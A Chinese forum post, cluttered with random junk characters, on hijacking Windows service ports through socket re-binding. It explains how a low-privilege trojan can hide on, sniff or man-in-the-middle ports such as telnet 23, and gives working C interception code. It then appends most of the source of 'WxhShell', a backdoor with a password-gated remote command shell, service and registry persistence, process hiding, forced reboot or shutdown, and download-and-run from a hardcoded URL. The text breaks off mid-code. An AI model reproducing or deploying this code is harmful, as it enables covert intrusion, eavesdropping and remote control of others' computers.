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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /I3#WUc;![  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4Wq{ch  
'!64_OMj'  
  saddr.sin_family = AF_INET; W :PGj0?  
AAkdwo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x[3kCa|4A  
&_ Ewu@4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _gK@),de  
t i)foam  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SeBbI&Ju  
BYN<|=  
  这意味着什么?意味着可以进行如下的攻击: '}*5ee](S  
%b2.JGBqJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '2a}1?  
FS r`Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W?!(/`J]  
pJ x88LfR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dWE[*a\g  
VkT8l4($X<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $!Z6?+  
3=1aMQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?'p`Qv  
B3u5EgZr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;"\e aKl  
Aj.TX%}`h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n 8Jx;j  
bp:WN  
  #include j|9;") 1  
  #include "?V4Tl~uu  
  #include Qv,|*bf  
  #include    D Y($  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,)XT;iGQe  
  int main() Y:]~~-f\~  
  { I@a7AuOw  
  WORD wVersionRequested; ZPn`.Qc  
  DWORD ret; ]v@#3,BV  
  WSADATA wsaData; x&tad+T  
  BOOL val; ZrnZ7,!@  
  SOCKADDR_IN saddr; v I@Wuu:  
  SOCKADDR_IN scaddr; ?7^H1L  
  int err; ePK^v_vBD  
  SOCKET s; H^p ?t=Y  
  SOCKET sc; F'W{\4  
  int caddsize; oL#^=vid"  
  HANDLE mt; ~;,]/'O  
  DWORD tid;   1b E$x^P  
  wVersionRequested = MAKEWORD( 2, 2 ); Z:09 ]r1  
  err = WSAStartup( wVersionRequested, &wsaData ); \&]'GsfF  
  if ( err != 0 ) { R~CQ=KQ.  
  printf("error!WSAStartup failed!\n"); ?UoA'~=  
  return -1; afv? z  
  } -]R7[5C:  
  saddr.sin_family = AF_INET; eHi|_3A&*  
   Z&@X4X"q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /K:M ,q  
Q1IN@Db}y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [ECSJc&i  
  saddr.sin_port = htons(23); G6_Kid}"q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?3kfh R  
  { }XWic88!~  
  printf("error!socket failed!\n"); X3#|9  
  return -1; %+i g7a:  
  } #IA[erf:  
  val = TRUE; a Umcs!@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %YM4x!6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nM34zVy  
  { THWT\3~,  
  printf("error!setsockopt failed!\n"); 1bF aQ50t  
  return -1; j?29_Az  
  } 7gfNe kr~W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D)8&v` L S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jn>3(GRGC$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v$s3f|Y  
F:x" RbbF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cP`f\\c  
  { o"R[#E&Yx  
  ret=GetLastError(); $`.7XD}  
  printf("error!bind failed!\n"); DbP!wU lqR  
  return -1; mEv<r6qDT  
  } VmHok  
  listen(s,2); m ,,-rC  
  while(1) |3/=dG  
  { YH&`+ +  
  caddsize = sizeof(scaddr); f%` =>l  
  //接受连接请求 b/5?)!I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j1*'yvGM  
  if(sc!=INVALID_SOCKET) AcyiP   
  { 6A;V[3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }L>}_NV\  
  if(mt==NULL) LoSblV  
  { >K1)XP  
  printf("Thread Creat Failed!\n"); (BEGt '7  
  break; U8-#W(tRR  
  } d^mw&F)S  
  } aB0L]i  
  CloseHandle(mt); & V^ Z  
  } 4Pe%*WTX  
  closesocket(s); x5YW6R.<t  
  WSACleanup(); $[T^ S  
  return 0; ' 7+x,TszI  
  }   ^Wo/vm*]  
  DWORD WINAPI ClientThread(LPVOID lpParam) #wK {G)J  
  { pYa8iQ`6U;  
  SOCKET ss = (SOCKET)lpParam; Hdw;=]-  
  SOCKET sc; jOa . h  
  unsigned char buf[4096]; ;e4 15T  
  SOCKADDR_IN saddr; 9+ nB;vA  
  long num; Ci4`,  
  DWORD val; VdjS\VYe,  
  DWORD ret; H=9kDP${  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ExeD3Zj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =,$*-<p=3  
  saddr.sin_family = AF_INET; R8I%Cyc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SE.r 'J0  
  saddr.sin_port = htons(23); KiAWr-~gJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kfr' P u  
  { E;/WP!/.  
  printf("error!socket failed!\n"); H?*EQK`7?0  
  return -1; u,AP$+Qk  
  } B(7oHj.i2  
  val = 100; "XfCLc1 T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y$|%K3  
  { yhv(KI  
  ret = GetLastError(); Q@?8-  
  return -1; ug{@rt/"Z  
  } ~~a,Fyko2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /2l&D~d"  
  { Z8E-(@`q5Q  
  ret = GetLastError(); $s+/OgG4H  
  return -1; v_mk{  
  } Y[)b".K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <*EMcZ  
  { "BT*9N=|  
  printf("error!socket connect failed!\n"); 0b6jGa  
  closesocket(sc); G2qv)7{l2  
  closesocket(ss); O42`Z9oK  
  return -1; ">cLPXX  
  } "5 ;fuM1  
  while(1) w^z5O6   
  { ,`PC^`0c}o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -{`8Av5)E%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \~ m\pf?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dp#JvZb  
  num = recv(ss,buf,4096,0); 7f|8SB  
  if(num>0) ?lq  
  send(sc,buf,num,0); lC/1,Z/M  
  else if(num==0) |_."U9!Z^  
  break; 8C]K36q  
  num = recv(sc,buf,4096,0); `ppyCUX  
  if(num>0) n2} (Pt.  
  send(ss,buf,num,0); v+Eub;m   
  else if(num==0) xfoQx_]$Im  
  break; W[c[ulY&  
  } @<kY,ox@~  
  closesocket(ss); fwQVxJe  
  closesocket(sc); ypU-/}Cf,  
  return 0 ; -V g(aD  
  } GWFF.Mo^  
T_R2BBT v  
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========================================================== ! Gob `# r  
Vu.VH([b]Q  
下边附上一个代码,,WXhSHELL %,T=|5  
')N[)&&Q{  
========================================================== "&Hr)yyWG  
lXtsnQOOK  
#include "stdafx.h" X*cDn.(I  
F m?j-'  
#include <stdio.h> hL4T7`  
#include <string.h>  I~T   
#include <windows.h> w*?SGW  
#include <winsock2.h> U#V&=~-  
#include <winsvc.h> Y5c,O>T5Y  
#include <urlmon.h> QB uX#bDV  
vB74r]'F  
#pragma comment (lib, "Ws2_32.lib") wE[gp+X~  
#pragma comment (lib, "urlmon.lib") P~ : N  
RW{y.WhB  
#define MAX_USER   100 // 最大客户端连接数 p{ Xde   
#define BUF_SOCK   200 // sock buffer IR2=dQS  
#define KEY_BUFF   255 // 输入 buffer hrNB"W|?x  
NSawD.9mV  
#define REBOOT     0   // 重启 {V,aCr  
#define SHUTDOWN   1   // 关机 (Bq^ D9  
fmq''1u  
#define DEF_PORT   5000 // 监听端口 Y5CDdn  
HQvJ*U4++  
#define REG_LEN     16   // 注册表键长度 p}oGhO&=  
#define SVC_LEN     80   // NT服务名长度 ">._&8KkE0  
qk~m\U8r  
// 从dll定义API "1YwV~M5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _tUh*"e&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5U-SIG*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l`uI K.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (xfh 9=.  
&szYa-K*  
// wxhshell配置信息 H;R~d%!b  
struct WSCFG { fat;5XL@  
  int ws_port;         // 监听端口 @U3:9~Q  
  char ws_passstr[REG_LEN]; // 口令 }DQTy.d;P  
  int ws_autoins;       // 安装标记, 1=yes 0=no a^={X<K|/  
  char ws_regname[REG_LEN]; // 注册表键名 fy]c=:EmD  
  char ws_svcname[REG_LEN]; // 服务名 jDb"|l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (dfC}x(3h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (3Q$)0t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o$eo\X?J?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (\D E1q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j]FK.G'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ue^HhZ9  
RIQ-mpg~(k  
}; $ay!'MK0d  
2}=@n*8*d  
// default Wxhshell configuration 06O_!"GD}  
struct WSCFG wscfg={DEF_PORT, tKS[  
    "xuhuanlingzhe", /vq$/  
    1, 8v z h5,U  
    "Wxhshell", q}+zN eC  
    "Wxhshell", wZZ~!"O &  
            "WxhShell Service", /o%VjP"<  
    "Wrsky Windows CmdShell Service", }zks@7kf  
    "Please Input Your Password: ", O/|))H?C  
  1, =\_gT=tZ  
  "http://www.wrsky.com/wxhshell.exe", n\)1Bz  
  "Wxhshell.exe" 7nNNc[d*=  
    }; ]=VRct "  
;p2b^q'  
// 消息定义模块 JOpH Z?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q?;Tc.O"/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^GAJ9AF@(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4d%0a%Z  
char *msg_ws_ext="\n\rExit."; PxgJ7d  
char *msg_ws_end="\n\rQuit."; )l$}plT4  
char *msg_ws_boot="\n\rReboot..."; x&*f5Y9hCi  
char *msg_ws_poff="\n\rShutdown..."; zBlv?JwG  
char *msg_ws_down="\n\rSave to "; =/_uk{  
g9q}D-  
char *msg_ws_err="\n\rErr!"; 5?F5xiW  
char *msg_ws_ok="\n\rOK!"; mE`qA*=?  
u -P !2vT  
char ExeFile[MAX_PATH]; nX 9]dz  
int nUser = 0; ;xe.0j0h  
HANDLE handles[MAX_USER]; w8>h6x "  
int OsIsNt; vjS=ZinN"  
71\53Qr#U  
SERVICE_STATUS       serviceStatus; #H w(w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'St6a*  
&:g:7l]g  
// 函数声明 *s*Y uY%y  
int Install(void); Kc?4q=7q  
int Uninstall(void); BH1h2OEe#  
int DownloadFile(char *sURL, SOCKET wsh); eFG(2OVg}M  
int Boot(int flag); ' {UKO7   
void HideProc(void); dgF%&*Il]O  
int GetOsVer(void); xsB0LUt  
int Wxhshell(SOCKET wsl); uyxYCc  
void TalkWithClient(void *cs); V-}}?c1 F  
int CmdShell(SOCKET sock); 6ki2/ Q  
int StartFromService(void); q50F!yHC-  
int StartWxhshell(LPSTR lpCmdLine); I7oA7@zv  
tLWw< )t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `,-mXxTNT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8s$6R|ti  
WA8<:#{e  
// 数据结构和表定义 ![^pAEgx  
SERVICE_TABLE_ENTRY DispatchTable[] = ve ysW(z  
{ \~ChbPnc  
{wscfg.ws_svcname, NTServiceMain}, |MFAP!rycS  
{NULL, NULL} -3R:~z^L  
}; ? +L,  
m+hI3@j  
// 自我安装 X`KSj N&(  
int Install(void) P[ WkW#  
{ );h(D!D,  
  char svExeFile[MAX_PATH]; >MHlrSH2  
  HKEY key; PlGif)  
  strcpy(svExeFile,ExeFile); ?b,>+v-w::  
&.,K@OFE}  
// 如果是win9x系统,修改注册表设为自启动 %hsCB .r>|  
if(!OsIsNt) { g[O?wH-a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0I)$!1~O)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G kjfDY:  
  RegCloseKey(key); </{Zb.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K:a8}w>Up  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cy]=Y  
  RegCloseKey(key); v.Ba  
  return 0; 4GRD- f[  
    } .J)TIc__|A  
  } sgp.;h'  
} "l56?@-x  
else { z l@^[km{  
R@\}iyM  
// 如果是NT以上系统,安装为系统服务 etr-\Cp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R&Y_  
if (schSCManager!=0) f+^6.%  
{ <: v+<)K  
  SC_HANDLE schService = CreateService ! I@w3`  
  ( <?nIO  
  schSCManager, `I5^zi8  
  wscfg.ws_svcname, hpAdoy[  
  wscfg.ws_svcdisp, 0>sa{Z  
  SERVICE_ALL_ACCESS, 9GD0jJEu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {cm?Q\DT  
  SERVICE_AUTO_START, _RbfyyaN  
  SERVICE_ERROR_NORMAL, 6{y7e L3!  
  svExeFile, fCr2'+O"b  
  NULL, t1FtYXv`/  
  NULL, 1Z# $X`  
  NULL, gJ6`Kl985O  
  NULL, LTWkHy x  
  NULL V)^Xz8H_  
  ); :\OSHs<M  
  if (schService!=0) q-JTGCFl  
  { #d-({blo<  
  CloseServiceHandle(schService); 1>J.kQR^  
  CloseServiceHandle(schSCManager); RV~fml9c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P}@AH02  
  strcat(svExeFile,wscfg.ws_svcname); AByl1)r|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GJ,&$@8)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0|P=S|%~  
  RegCloseKey(key); KZppQ0  
  return 0; 9F/I",EA  
    } aA`eKy) \  
  } Je6[q  
  CloseServiceHandle(schSCManager); \=ML*Gi*  
} b>07t!;  
} u"v7shRp:  
*)Rm X$v3  
return 1; ;kgP:n  
} 8rsc@]W  
_?c.m*)A  
// 自我卸载 VgH O&vU  
int Uninstall(void) 'c35%? ]  
{ P@7>R7gS  
  HKEY key; <0CjEsAB]  
rnIj pc F  
if(!OsIsNt) { #A/OGi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ")Fd'&58  
  RegDeleteValue(key,wscfg.ws_regname); -r\jIO_  
  RegCloseKey(key); >yO/p(/;jR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {iD/0q  
  RegDeleteValue(key,wscfg.ws_regname); <]rayUyaf  
  RegCloseKey(key); tu -a`h_NJ  
  return 0; \o>-L\`O  
  }  +A3/^C0  
} .|,LBc!  
}  FOiwA.:0  
else { !nBbt?*  
W:r[o%B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =g#PP@X]D!  
if (schSCManager!=0) fd)8lK[KJ"  
{ (p{X.X+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fbq$:Q44  
  if (schService!=0) q[$>\Nfg>B  
  { uMcI'=  
  if(DeleteService(schService)!=0) { Px_8lB/;  
  CloseServiceHandle(schService); n`5Nf  
  CloseServiceHandle(schSCManager); uKJ:)oyaCP  
  return 0; 4$Ai!a  
  } - nb U5o  
  CloseServiceHandle(schService); G@7^M}  
  } =Vg~ VD   
  CloseServiceHandle(schSCManager); V;SfW2`)  
} gfL :SP8  
} 7U [C=NL  
M^kaik  
return 1; |O8e;v72g^  
} 0LQRQuh1  
#}~tTL  
// 从指定url下载文件 9wL2NC31Q  
int DownloadFile(char *sURL, SOCKET wsh) 7ZUN;mr  
{ 0F$|`v"0  
  HRESULT hr; | R,dsBd  
char seps[]= "/"; PF4[;E S'  
char *token; UynGG@P@  
char *file; A;U c&G  
char myURL[MAX_PATH]; QYA4C1h'  
char myFILE[MAX_PATH]; #(] D]f[@  
r]e{~v/  
strcpy(myURL,sURL); 2zj` H9  
  token=strtok(myURL,seps); SzLlJUVX  
  while(token!=NULL) HYl+xH'.j  
  { %pZT3dcK  
    file=token; =]@Bc 7@  
  token=strtok(NULL,seps); !WyJ@pFU^  
  } \9+,ynJH8z  
Trirb'qO  
GetCurrentDirectory(MAX_PATH,myFILE); u$w.'lK  
strcat(myFILE, "\\"); SlsNtaNt  
strcat(myFILE, file); B;bP~e>W  
  send(wsh,myFILE,strlen(myFILE),0); LNL}R[1(  
send(wsh,"...",3,0); X "Eqhl<t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z fUDo`V~  
  if(hr==S_OK) :lu!%p<$  
return 0; v8-szW).  
else r,eH7&P9{  
return 1; i?_Q@uA~<:  
n^' d8Y(  
} {r&r^!K;  
c:${qY:!  
// 系统电源模块 ( %sf wv  
int Boot(int flag) #7fOH U8v  
{ eGMw:H  
  HANDLE hToken; `_ ^I 2  
  TOKEN_PRIVILEGES tkp; >(:3H+  
?3DL .U{  
  if(OsIsNt) { f TmJDUv+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  !5 S#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0Cc3NNdz  
    tkp.PrivilegeCount = 1; #8d#Jw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ufR|V-BWx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d Np%=gIj  
if(flag==REBOOT) { #W:.Fsq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &'\-M6GW  
  return 0; n_sV>$f-u  
} aR6~r^jB  
else { ""`z3-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Jo|P A` 9  
  return 0; (ht"wY#T<(  
} w[2E:Nj  
  } E2hML  
  else { ruhC:rg:/  
if(flag==REBOOT) { O-AC$C[d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +)9=bB  
  return 0; J;fbE8x  
} yJx,4be  
else { <a CzB7x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *o=Z~U9z  
  return 0; |$8N*7UD  
} :4:U\k;QwA  
} = CXX.%N  
0>Kgz!I  
return 1; ~Q- /O~  
} i&HU7mP/  
=)#XZ[#F  
// win9x进程隐藏模块 B"7~[,he  
void HideProc(void) a#0*#&?7@  
{ &w_8E+Y Z  
sVO|Ghy65  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HELTL$j,b  
  if ( hKernel != NULL ) p E1uD4lLb  
  { /0L]Pf;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 45+kwo0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0l(G7Ju  
    FreeLibrary(hKernel); wC1) \ld  
  } 2%l(qf N9  
*E@as  
return; 5"#xbvRS0H  
} %)}_OXWf:  
Vg7+G( ,  
// 获取操作系统版本 CIR2sr0a  
int GetOsVer(void) @M*5q# s  
{ ,|O|gh$s  
  OSVERSIONINFO winfo; iA2TvP#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?.I1"C,#VJ  
  GetVersionEx(&winfo); O|;|7fCB\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .v) A|{:2  
  return 1; )q7!CG'oY  
  else G!GGT?J  
  return 0; Kn+B):OY+  
} *xKY>E+  
f <DqA/$  
// 客户端句柄模块 Jl) Q #  
int Wxhshell(SOCKET wsl) 5X`m.lhUc  
{ cT JG1'm  
  SOCKET wsh; ( Q k*B  
  struct sockaddr_in client; c}7Rt|`c  
  DWORD myID; ]T<RC\o  
:as2fO$?  
  while(nUser<MAX_USER) gdBH\K(\  
{ a '<B0'  
  int nSize=sizeof(client); ][Cg8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7baQ4QY?n  
  if(wsh==INVALID_SOCKET) return 1; CwzDkr&QC_  
$T'lWD*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |P=-m-W  
if(handles[nUser]==0) W GMEZx  
  closesocket(wsh); ;x=0+0JD  
else c(S66lp  
  nUser++; )e\IdKl=  
  } X04JQLhy"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OEgp!J  
>]8H@. \  
  return 0; .GDNd6[K7  
} X[iQ%Y$/n  
6SD9lgF*-  
// 关闭 socket @X>Oj.  
void CloseIt(SOCKET wsh) Bt-2S,c,o  
{ sZPA(N?  
closesocket(wsh); 6M_,4> -  
nUser--; ER$qL"H U  
ExitThread(0); H(j983  
} 2~*.X^dR  
4Q(GX.5  
// 客户端请求句柄 f+W %X  
void TalkWithClient(void *cs) 3,-xk!W$L  
{ },G5!3  
9TbRrS09  
  SOCKET wsh=(SOCKET)cs; N(^ q%eHp  
  char pwd[SVC_LEN]; p{4nWeH?B  
  char cmd[KEY_BUFF]; 3rw<#t;v  
char chr[1]; :HQQ8uQfb  
int i,j; x.~AvJ  
%Y//}  
  while (nUser < MAX_USER) { 1|Z!8:&pj  
.:=G=v=1  
if(wscfg.ws_passstr) { $Q< >M B7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g O ;oM?|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V0!$k.Wk  
  //ZeroMemory(pwd,KEY_BUFF); 6Z3L=j  
      i=0; 6#/v:;bF  
  while(i<SVC_LEN) { xRM)f93@  
yJAz#~PO/  
  // 设置超时 m_g2Cep  
  fd_set FdRead; 8C>\!lW"  
  struct timeval TimeOut; +Q+>{HK  
  FD_ZERO(&FdRead); e${Cf  
  FD_SET(wsh,&FdRead); '6zD`Q  
  TimeOut.tv_sec=8; ;X XB^,  
  TimeOut.tv_usec=0; 1iTI8h&[@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -'mTSJ.}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w5uOkz #  
B6#^a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Kjl>bq  
  pwd=chr[0]; /f0*NNSat-  
  if(chr[0]==0xd || chr[0]==0xa) { 2/m4|  
  pwd=0; Td/J6Q9 0  
  break; <UC_QPA\  
  } JcDcYB  
  i++; p,K]`pt=  
    } yhSbX4Q  
q71~Y:7f  
  // 如果是非法用户,关闭 socket qzt.k^'-^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qPG>0 O  
} waI:w,  
+ #V.6i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $zUHka   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6z keWR  
"|KhqV=?v  
while(1) { GLE/ 1  
he\ pW5p  
  ZeroMemory(cmd,KEY_BUFF); |b'}.(/3i  
f5ttQ&@FF  
      // 自动支持客户端 telnet标准   $4ZjNN@  
  j=0; <*F!A' w2o  
  while(j<KEY_BUFF) { ]oIP;J:&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o;5ns  
  cmd[j]=chr[0]; WAqH*LB  
  if(chr[0]==0xa || chr[0]==0xd) { QRKr2:o{  
  cmd[j]=0; /c:78@  
  break; x=%wP VJ  
  } EwX:^1f  
  j++; QopA'm  
    } O ! iN  
.:/[%q{k  
  // 下载文件 gHmy?+)  
  if(strstr(cmd,"http://")) { )N'rYS' 9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sxzt|{  
  if(DownloadFile(cmd,wsh)) uoi~JF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ` ={* *  
  else DT#F?@LG(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :-)H tyzf  
  } 3K{G=WE$  
  else { }$X/HK  
&r0U9J  
    switch(cmd[0]) { f)#rBAkt  
  bJ5 VlK67R  
  // 帮助  O3~7  
  case '?': { X(M|T]`b:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mGP&NOR0^y  
    break; 6O\a\z  
  } o/4U`U)Q0v  
  // 安装 7Q>bJ Ek7  
  case 'i': { Ce`#J6lT  
    if(Install()) *w5xC5*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(6n- zL  
    else hA:RVeS{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h;DLD8L  
    break; ZWXA%u7V  
    } Aw"Y_S8.  
  // 卸载 %Rm`+  
  case 'r': { 88g|(k/  
    if(Uninstall()) ?M9?GodbP.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,,+iPGa<  
    else 7&w$@zs87  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HA`q U  
    break; #M@Ki1  
    } J-5E# v  
  // 显示 wxhshell 所在路径 KvY1bMU!  
  case 'p': { e]zd6{g[m  
    char svExeFile[MAX_PATH]; hp3 <HUU  
    strcpy(svExeFile,"\n\r"); Gy6PS{yY6t  
      strcat(svExeFile,ExeFile); aW*8t'm;m'  
        send(wsh,svExeFile,strlen(svExeFile),0); E'+?7ZGWj  
    break; I4(z'C  
    } s_#6^_  
  // 重启 Gc,6;!+(  
  case 'b': { hQ\W~3S55  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lN~u='Kc  
    if(Boot(REBOOT)) ,t@B]ll  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }s@vN8C  
    else { 7u<C&Z/  
    closesocket(wsh); FwwOp"[~t  
    ExitThread(0); t7 +U!  
    } dM)x|b3z  
    break; VI k]`)#  
    } \\Te\l|L  
  // 关机 LO@o`JF  
  case 'd': { CfEACH4_  
